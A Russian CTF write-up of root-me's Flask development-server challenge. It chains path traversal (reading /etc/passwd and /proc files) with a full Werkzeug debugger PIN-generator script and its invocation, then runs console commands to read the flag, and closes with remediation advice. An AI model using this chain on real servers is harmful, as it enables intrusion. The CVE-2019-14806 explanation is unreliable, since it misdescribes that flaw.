
А мы продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "Flask - Development server". За решение задачки дают 30 баллов, средний уровень.

Из названия понятно, что дело придётся иметь с Flask.
Flask — лёгкий и мощный фреймворк для создания веб-приложений на Python, использующий набор инструментов Werkzeug, а также шаблонизатор Jinja2.
Веб разработчик говорит вам, что сайт готов к публикации. Проверьте сайт на безопасность, перед выкаткой в прод. Флаг расположен в директории приложения.
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch85/

Открывается некий сайт. На сайте доступна ссылка /services
, посмотрим что там.

Доступна поисковая строка, ниже написано, что поиск ещё не доделан. Попробуем что-нибудь найти, например, internet-lab.ru.
Search.

[Errno 2] No such file or directory: 'internet-lab.ru'
Стоп, какой ещё файл или директория? Вбиваю /
.

[Errno 21] Is a directory: '/'
Да ладно. Пробую ../../../etc/passwd
.

И мы видим содержимое файла /etc/passwd
. Это серьёзная уязвимость, позволяющая нам вывести на экран содержимое любого файла.
К примеру, из /etc/passwd
мы видим что приложение выполняется у пользователя web-app
в директории /home/web-app
. Эта информация нам пригодится.
Проверим что /home/web-app
существует.

Таки да. Вероятно, в этой же директории расположено наши приложение и флаг. Правда, имя файла флага мы не знаем и не можем его прочитать. Однако, мы можем прочитать что-нибудь ещё, что нам поможет. Например, зная, что у нас используется фреймворк Flask, можно предположить, что приложение запускается из файла app.py
. Попробуем вывести его на экран.

Угадали. Но можно было и не угадывать, а посмотреть в /proc/self/cmdline
.

Видим Python 3 и скрипт app.py.
Приведём код в порядок для удобства.

В этом коде примечательны две вещи. Первое: debug=True
. Разработчик оставил включённым режим отладки. Какой рассеянный. Значит, мы можем получить доступ к консоли. Второе: имеется уязвимый код:
template = request.args.get("search")
template = open(template).read()
Как бы вторую уязвимость мы уже нашли и понимаем как прочитать любой файл. Попробуем попасть в консоль.
В Flask с включённым режимом отладки (debug=True) интерактивная консоль отладчика (Werkzeug Debugger) становится доступна только при возникновении исключения (ошибки 500) по специальному URL, который генерируется динамически. Я попытался сгенерировать какую-нибудь ошибку. Не получилось.
В очень старых версиях (Flask < 2.0, Werkzeug < 2.0.0) при debug=True консоль отладчика иногда могла быть доступна по фиксированному URL, например:
http://ваш-сайт/console
Но это критическая уязвимость (CVE-2019-14806), и в современных версиях уже исправлено. Проверим, перехожу по пути /console
в браузере.

И мы попадаем в консоль. Вход закрыт на PIN код. И это бы спасло сайт от взлома, если бы не ранее найденная уязвимость чтения любого файла.
С этой задачей я уже сталкивался несколько лет назад. Уязвимость была немного другой, но принцип тот же.
Здесь я сталкивался с уязвимостью хеш-функции.
Уязвимость хеш-функции. Атакующий может вычислить секретный ключ, зная алгоритм шифрования и исходные значения.
При запуске приложения админу в консоли сообщается PIN, и этот PIN всегда одинаковый. Если нам каким-то образом удастся понять, как этот PIN считается и повторить вычисления, то мы сами получим тот же самый PIN и войдём в консоль через дебаг-режим.
Для генерации PIN функция использует некоторые значения:
- Файл приложения.
- Имя приложения.
- /etc/machine-id или /proc/sys/kernel/random/boot_id, смотря что имеется.
- MAC-адрес сетевухи.
- Имя пользователя.
- Путь до приложения.
Если мы всё это узнаем, то сможем сгенерировать PIN. Попробуем собрать информацию. Имя пользователя мы вычислили ранее, это web-app. Имя приложения видно в app.py, это Flask. Файл приложения по умолчанию flask.app. Путь до приложения app.py должен быть такой:
/home/web-app/.local/lib/python<версия>/site-packages/flask/app.py
А Python у нас какой версии? Посмотрим в /proc/self/environ
.

PYTHON_VERSION=3.11. Значит, путь должен быть таким:
/home/web-app/.local/lib/python3.11/site-packages/flask/app.py
Проверим:

Путь верный.
MAC-адрес сетевухи получим из /sys/class/net/eth0/address
, интерфейс можно посмотреть в /proc/net/arp
.


Получаем адрес 02:42:ac:10:00:0a.
Получить /etc/machine-id
или /proc/sys/kernel/random/boot_id
можно легко. Первое отсутствует, а второе:

Получаем 27c8bdce-0b71-47eb-9aee-1287e1aa6c4a.
Собрали данные:
- Файл приложения. flask.app
- Имя приложения. Flask
- /etc/machine-id или /proc/sys/kernel/random/boot_id, смотря что имеется. 27c8bdce-0b71-47eb-9aee-1287e1aa6c4a
- MAC-адрес сетевухи. 02:42:ac:10:00:0a
- Имя пользователя. web-app
- Путь до приложения. /home/web-app/.local/lib/python3.11/site-packages/flask/app.py

Генерирую PIN, пробую войти в консоль, и ничего не получается. Возможно, функция сменилась? Немного поиска по сети выводит нас на решение:
https://github.com/SidneyJob/Werkzeuger
Код генератора целиком:
# MIT License
# Copyright (c) 2023 SidneyJob
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import hashlib
from itertools import chain, combinations
from colorama import Fore, Style
import time
import argparse
import getpass
import uuid
import sys
def hash_pin(pin: str) -> str:
pin = pin[0]
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
def gen_pin(username, mac, mch_id,path,modname,appname):
probably_public_bits = [username,modname,appname,path]
private_bits = [str(mac), mch_id]
rv = None
num = None
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return [rv, cookie_name]
def generate_cookie(pin):
cookie = ''
cookie += str(int(time.time()))
cookie += '|'
cookie += hash_pin([pin])
return cookie
def logo():
print("""
¶ ¶
¶ ¶
¶ ¶ ¶ ¶
¶ ¶¶ ¶¶ ¶
¶¶ ¶¶¶ ¶¶¶ ¶¶
¶ ¶¶ ¶¶¶ ¶¶¶ ¶¶ ¶
¶¶ ¶¶ ¶¶¶ ¶¶¶ ¶¶ ¶¶
¶¶ ¶¶ ¶¶¶¶ ¶¶¶¶ ¶¶ ¶¶
¶¶ ¶¶¶ ¶¶¶¶ ¶¶¶¶¶ ¶¶¶ ¶¶¶
¶ ¶¶¶ ¶¶¶¶ ¶¶¶¶ ¶¶¶¶ ¶¶¶¶ ¶¶¶¶ ¶
¶¶ ¶¶¶¶¶ ¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶ ¶¶¶¶¶ ¶¶
¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶
¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶
¶¶¶ ¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶ ¶¶¶
¶¶¶¶ ¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶ ¶¶¶¶
¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶
¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶
¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶
¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶
¶¶¶¶¶¶¶ .. ¶¶¶¶¶¶¶¶¶ .. ¶¶¶¶¶¶
¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶ ¶¶¶ ¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶
¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶
¶¶ ¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶ ¶¶
¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶
__ __ _
\ \ / / | |
\ \ /\ / / ___ _ __ | | __ ____ ___ _ _ __ _ ___ _ __
\ \/ \/ / / _ \| '__|| |/ /|_ / / _ \| | | | / _` | / _ \| '__|
\ /\ / | __/| | | < / / | __/| |_| || (_| || __/| |
\/ \/ \___||_| |_|\_\/___| \___| \__,_| \__, | \___||_|
__/ |
|___/
Author: https://github.com/SidneyJob
Channel: https://t.me/SidneyJobChannel
""")
def print_c(text, color):
eval(f'print(Fore.{color} + """{text}""" + Style.RESET_ALL, end="")')
def main():
logo()
if len(sys.argv) > 1:
if sys.argv[1] == "GET":
with open('/etc/machine-id','r') as f:
mch_id = f.readline()[:-1]
with open("/proc/self/cgroup",'r') as f:
cgroup = f.readline()[:-1]
print(f"""
Public bits:
username === {getpass.getuser()}
Private bits:
MAC === {str(uuid.getnode())}
machine_id === {mch_id}
cgroup === {cgroup}
""")
exit(0)
parser = argparse.ArgumentParser(description="Werkzeug generate PIN script")
parser.add_argument("--username", dest="username", type=str, help="The username of the user who launched the application. Try to read /etc/passwd or /proc/self/cgroup", default='www-data') # www-data
parser.add_argument("--path", dest="path",required=True, type=str, help="Path to Flask") # REQUIRED
parser.add_argument("--modname", dest="modname", type=str, help="Modname (Default: flask.app)") # flask.app
parser.add_argument("--appname", dest="appname", type=str, help="Appname (Default: Flask)") # Flask
parser.add_argument("--mac", dest="mac", required=True, type=str, help="MAC address any interface") # REQUIRED
parser.add_argument("--machine_id", dest="mch_id",required=True, type=str, help="Enter /etc/machine-id or /proc/sys/kernel/random/boot_id") # REQUIRED
parser.add_argument("--cgroup", dest="cgroup",required=True, type=str, help="Enter /proc/self/cgroup") # REQUIRED
args = parser.parse_args()
modnames = ["flask.app", "werkzeug.debug"]
appnames = ["wsgi_app", "DebuggedApplication", "Flask"]
if args.appname:
appnames.append(args.appname)
if args.modname:
modnames.append(args.modname)
mch_id = b""
mch_id += args.mch_id.encode("UTF-8")
cgroup_file = args.cgroup.strip().rpartition("/")[2].encode("UTF-8")
mch_id += cgroup_file
mac = int("".join(args.mac.split(":")),16)
for mod in modnames:
for app in appnames:
res = gen_pin(args.username, mac, mch_id, args.path, mod, app)
cookie = generate_cookie(res[0])
if res[0] != '' and res[1] != '':
print_c("[+] Success!", "GREEN")
print(f"""
[*] PIN: {res[0]}
[*] Cookie: {res[1]}={cookie}
[*] Modname: {mod}
[*] Appname: {app}
""")
else:
print("[-] Error!")
print_c(f"[+] {len(modnames) * len(appnames)} payloads are successfully generated!\n", "GREEN")
if __name__ == "__main__":
main()
Требуется получить ещё одно значение, cgroup. Посмотрим в /proc/self/cgroup
, нужна первая строка.

Получаем 12:hugetlb:/.
Генерируем PIN:
python3 gen.py --username web-app --path '/home/web-app/.local/lib/python3.11/site-packages/flask/app.py' --mac '02:42:ac:10:00:0a' --cgroup '12:hugetlb:/' --machine_id '27c8bdce-0b71-47eb-9aee-1287e1aa6c4a' --modname flask.app --appname Flask

Получаем PIN.

Пробуем войти в консоль Flask.

Успех! Дело за малым, получить список содержимого рабочей директории.
import os
os.popen('pwd').read()
os.listdir("/app")
Или:
import os
os.popen('ls -Fla').read()

Видим текстовый файл с длинным названием. Считаем его.

А вот и флаг! Валидируем.

Флаг подходит, зарабатываем 30 очков.
Безопасность
- Если вы используете сторонние библиотеки, фреймворки, CMS, CMF, уделяйте внимание безопасности, своевременно обновляйте их. В таких проектах нередко появляются найденные уязвимости и заплатки к ним.
- Не открывайте наружу дебаг. Не используйте debug=True в продакшене.
- Здесь мы видим пример как совокупность эксплуатации двух разных уязвимостей дала возможность проникнуть на сервер, хотя каждая из уязвимостей по-отдельности не привела бы к такому результату.
- В нормальных условиях /console не должен быть доступен. Если он работает — это признак крайне старой версии Flask/Werkzeug или опасной ручной настройки. Немедленно отключите debug-режим и обновите зависимости!
В нашем примере код содержит уязвимость — чтение файлов по пользовательскому вводу без проверки:
template = request.args.get("search")
try:
template = open(template).read() # Опасность!
Рекомендуется:
- Ограничить допустимые пути для поиска
- Проверять расширения файлов
- Использовать os.path.join для безопасного конструирования путей
- Либо вообще убрать эту функциональность, если она не нужна
Пример безопасной реализации:
from werkzeug.utils import secure_filename
import os
@app.route("/services", methods=["GET"])
def services():
template = "wip"
if "search" in request.args:
filename = secure_filename(request.args.get("search"))
if filename.endswith('.html'):
try:
with open(os.path.join('templates', filename)) as f:
template = f.read()
except Exception as x:
template = str(x)
return render_template("services.html", template=template)